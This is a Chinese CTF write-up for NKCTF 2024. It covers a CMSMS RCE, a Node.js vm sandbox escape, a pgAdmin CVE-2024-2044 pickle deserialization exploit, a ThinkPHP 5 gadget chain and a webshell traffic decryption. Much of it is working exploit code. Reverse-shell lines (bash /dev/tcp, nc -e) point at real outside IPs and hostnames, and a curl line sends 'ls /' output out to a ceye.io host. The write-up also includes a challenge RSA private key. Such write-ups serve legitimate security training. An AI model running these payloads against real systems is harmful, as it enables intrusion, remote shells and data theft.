前言
孤身一人偶遇四道200分题,拼尽全力才能战胜
web:2/4
和去年相比感觉题型是差不多的,难度上可能比去年要进阶了一点
今年又一次复刻了去年做到凌晨三点多的操作(
参考:
https://blog.csdn.net/2301_77392802/article/details/136980210?spm=1001.2014.3001.5502
https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g
Web
my first cms
CMSMS 2.2.19
访问/admin
弱口令爆破出账密 admin:Admin123
,这里我找了好几个字典才爆出来
接下来测试这个版本已知的几个漏洞
SSTI(Failed)
首先是smarty SSTI:https://github.com/capture0x/CMSMadeSimple2
{7*7}
{$smarty.version}
{if system('ls /')}{/if}
发现命令执行和文件包含都被ban了,应该是smarty版本 4.2.1过高的问题
upload(Failed)
接下来尝试文件上传
https://www.nu11secur1ty.com/2023/12/cmsms-2219-file-upload-rce.html
传不上去,翻一下System Information发现没权限
RCE
https://packetstormsecurity.com/files/177241/CMS-Made-Simple-2.2.19-Remote-Code-Execution.html
submit后打开这个tag运行
成功rce,接下来修改命令再次Apply和Run即可
全世界最简单的CTF
vm沙箱逃逸 + 反射获取process + 变量污染
ctrl+u,发现有一个 /secret 路由
访问得到源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
是一个vm沙箱,this为null,还要借助异常处理
/secret 路由存在文件读取,如果我们能够控制process.__filename
的值就能实现任意读
waf ban了中括号和加号,不能用拼接绕过;ban了eval;ban了\
,不能用十六进制和unicode
解法一:反射
但是我们可以用反射获取process函数
在几个拼接方法被ban掉的情况下构造child_process模块很难,不过我们一开始提到的污染process.__filename
任意读文件还没用
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller
const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
return p.__filename="/etc/passwd"
}
})
然后访问 /secret 即可成功读取
尝试读/flag,返回permission denied, open '/flag',没权限直接读
尝试读./hack
,注意路径是/app/hack.js
console.log('shell.js');
读/app/shell.js
得到
console.log("shell"); const p = require('child_process'); p.execSync(process.env.command);
猜测要包含这个 shell.js 然后污染process.env.command
弹shell
本地测试一下:
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller
const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
p.env.command="calc"
return p.mainModule.require("./shell")
}
})
所以payload为
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller
const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
p.env.command="bash -c 'bash -i >& /dev/tcp/115.236.153.172/42822 <&1'"
return p.mainModule.require("./shell")
}
})
成功弹shell
解法二:原型链污染
官方wp是用原型链污染包含的文件名称和变量名🤔
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/etc/passwd";
}
})
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.data = {"name": "./hack","exports": "./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
}
})
解法三:replace(非预期)
来自LaoGong:https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g
有点意思
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})
attack_tacooooo (复现)
pgAdmin CVE-2024-2044
参考:
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
怎么登录呢,没思路
啊?这里的密码是猜出来的:tacooooo@qq.com/tacooooo :tacooooo
然后就是复现参考文章里面那个洞了
因为题目环境里面没有 bash 和 curl,尝试直接nc
poc:
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
# if len(sys.argv) != 2:
# exit(f"usage: {sys.argv[0]} ip:port")
# with open('nt.pickle', 'wb') as f:
# f.write(produce_pickle_bytes('nt', f"nc 115.236.153.172 41678 -e /bin/sh"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"nc 76135132qk.imdo.co 41678 -e /bin/sh"))
注意要在linux环境下生成文件,pickle文件好像是有分系统的来着
上传之后,接下来要换cookie为绝对路径:pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a
于是就弹shell了,flag在 /proc/1/environ 的环境变量里面(官方wp给的是crontab -e
,在隐藏计划任务里面)
用过就是熟悉 (复现)
tp5反序列化绕过登录
本地起个环境先
docker-compose up -d
翻一下代码,也是经典的tp架构
网站进去是一个登录框,先看看登录逻辑
在 app/controller/user/index.class.php 里发现一个反序列化入口
全局搜一下__destruct
在 app/controller/user/think/process/pipes/Windows.php 这里
那应该是tp5的链子,跟一下看看,进入 removeFiles ,明显这里$filename
可以触发__tostring
全局搜一下__tostring
选择 app/controller/user/think/Collection.php,经典的toJson()
然后一路跟到toArray
明显这里的$this->items->Loginout
可以触发__get
,全局搜一下,选择 app/controller/user/think/View.php 下的__get
这里执行函数,发现Loginsubmit
找不到定义,此时data[$name]
为data[Loginout]
,那么控制engine
的值,可以触发__call
全局找一下,发现 app/controller/user/think/Testone.php 下有hint
hinthinthinthinthinthinthint.php
<?php
header('Content-Type: text/html; charset=UTF-8');
$content= "这里有hint
";
md5(time())
生成文件名,看起来要爆破文件名
可以自己生成一手md5(time()+6)
然后抢时间连发(
也可以写python脚本
import hashlib
import time
import requests
t = 1711177055
url = "http://e7cc37bc-3f19-49b2-8cf2-5d3e7df9494c.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
# 遍历列表中的每个数字
while True:
t = t + 1
number_str = str(t).encode('utf-8')
hash_object = hashlib.md5(number_str)
md5_hash = hash_object.hexdigest()
res = requests.get(url=url+md5_hash)
time.sleep(1)
print(f"{md5_hash} : {len(res.text)}")
# print(res.text)
直接上结果吧(
亲爱的Chu0,
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
hint: 新建文件
给了个密文tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI
猜测要破解,回到 app/controller/user/index.class.php 发现 password 的加密方式
if ($data['salt']) {
$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);
}
跟一下decode
<?php
/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IACQ','123');
*/
class Mcrypt{
public static $defaultKey = 'a!takA:dlmcldEv,e';
/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function encode($string,$key = '', $expiry = 0,$cKeySet='',$encode=true){
if($encode){$string = rawurlencode($string);}
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验证
$keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV)
$cKeySet = $cKeySet ? $cKeySet: md5(microtime());
$keyc = substr($cKeySet, - $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
$string = sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;
$stringLength = strlen($string);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}
$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符
$result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
$result = $keyc . str_replace('=', '', base64_encode($result));
$result = str_replace(array('+', '/', '='),array('-', '_', '.'), $result);
return $result;
}
/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function decode($string,$key = '',$encode=true){
$string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string);
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验证
$keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV)
$keyc = substr($string, 0, $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
$string = base64_decode(substr($string, $ckeyLength));
$stringLength = strlen($string);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}
$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符
$result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
$theTime = intval(substr($result, 0, 10));
$resultStr = '';
if (($theTime == 0 || $theTime - time() > 0)
&& substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
) {
$resultStr = substr($result, 26);
if($encode){$resultStr = rawurldecode($resultStr);}
}
return $resultStr;
}
}
复制下来加上前面那一段解密一下
$a='tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI';
$key = substr($a, 0, 5) . "2&$%@(*@(djfhj1923";
echo Mcrypt::decode(substr($a, 5), $key);
得到!@!@!@!@NKCTF
,再加上hint里面的Chu0
最后的帐密就是guest : !@!@!@!@NKCTFChu0
然后就成功登录了,在回收站里面发现 新建文件.html
还原到桌面,
但是怎么利用呢,访问 data/files/shell 可以下载到这个文件,那么接下来我们要找一个文件包含点
这时候回到刚才的tp链,翻看看其它的__call
方法
很明显这里存在包含,接下来就是构造payload了
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($a)
{
$this->files = [$a];
}
}
}
namespace think {
class Collection
{
protected $items;
public function __construct($a)
{
$this->items = $a;
}
}
}
namespace think {
class View
{
protected $data = [];
public $engine = array('time' => '10086', 'name' => 'data/files/shell');
public function __construct($a)
{
$this->data = array('Loginout' => $a);
}
}
}
namespace think {
class Config
{
}
}
namespace {
// $Debug = new think\Debug();
// $View = new think\View($Debug);
$Config = new think\Config();
$View = new think\View($Config);
$Collection = new think\Collection($View);
$Windows = new think\process\pipes\Windows($Collection);
echo base64_encode(serialize($Windows));
}
在/?user/index/loginSubmit
发包
无回显rce,题目环境没有 bash 和 nc,尝试curl带外
因为只能回显一行,所以需要用base64编码读取
0=system('curl http://xxxxxx.ceye.io/`ls /|base64`');
flag在/fllllllllllllllllag
Misc
signin
关注猎刃实验室谢谢喵(
nkctf{hell0_w41coMe_2_NKCTF_2024}
Webshell_pro
一个个tcp流翻过去
base32+base64得到加密数据的脚本
import base64
import libnum
from Crypto.PublicKey import RSA
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def encrypt(plain_text):
# 私钥加密
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())
if __name__ == '__main__':
m = b"-RSA-" * 30
print(f"原始数据: {m}")
c = encrypt(m)
print(f"加密数据: {c}")
接下来分析一下这几段
写出解密脚本
import base64
import libnum
from Crypto.PublicKey import RSA
from urllib.parse import unquote
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def dec_replace(base64_str: str):
base64_str = base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")
base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
return base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
def decrypt(cipher_text):
cipher_text = base64.b64decode(dec_replace(cipher_text))
plain_text = b""
for i in range(0, len(cipher_text), 128):
part = cipher_text[i:i+128]
dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
plain_text += dec
return plain_text
if __name__ == '__main__':
c = unquote("G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8Wbm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9cn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8WSV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bDn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8WlVnGwsfP7YP9PYJXWUDuLUgwRLKD9fD6%26VY2aFeE%26r%40Ff2")
print(f"加密数据: {c}")
decrypted_text = decrypt(c)
print(f"解密数据: {decrypted_text}")
依次解密得到以下命令
cd /root/FLAG && base64 小明的日记.txt
cd /root/FLAG && base64 hint.py
echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt
可知flag就是这段AES密文U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==
解码返回的流量
小明的日记.txt:
FLAG is NOT HERE!!!!!!!!!!!
PASSWORD:
Password-based-encryption
hint.py即我们的加解密脚本
既然给了AES密文和password
找个网站解AES:https://www.sojson.com/encrypt_aes.html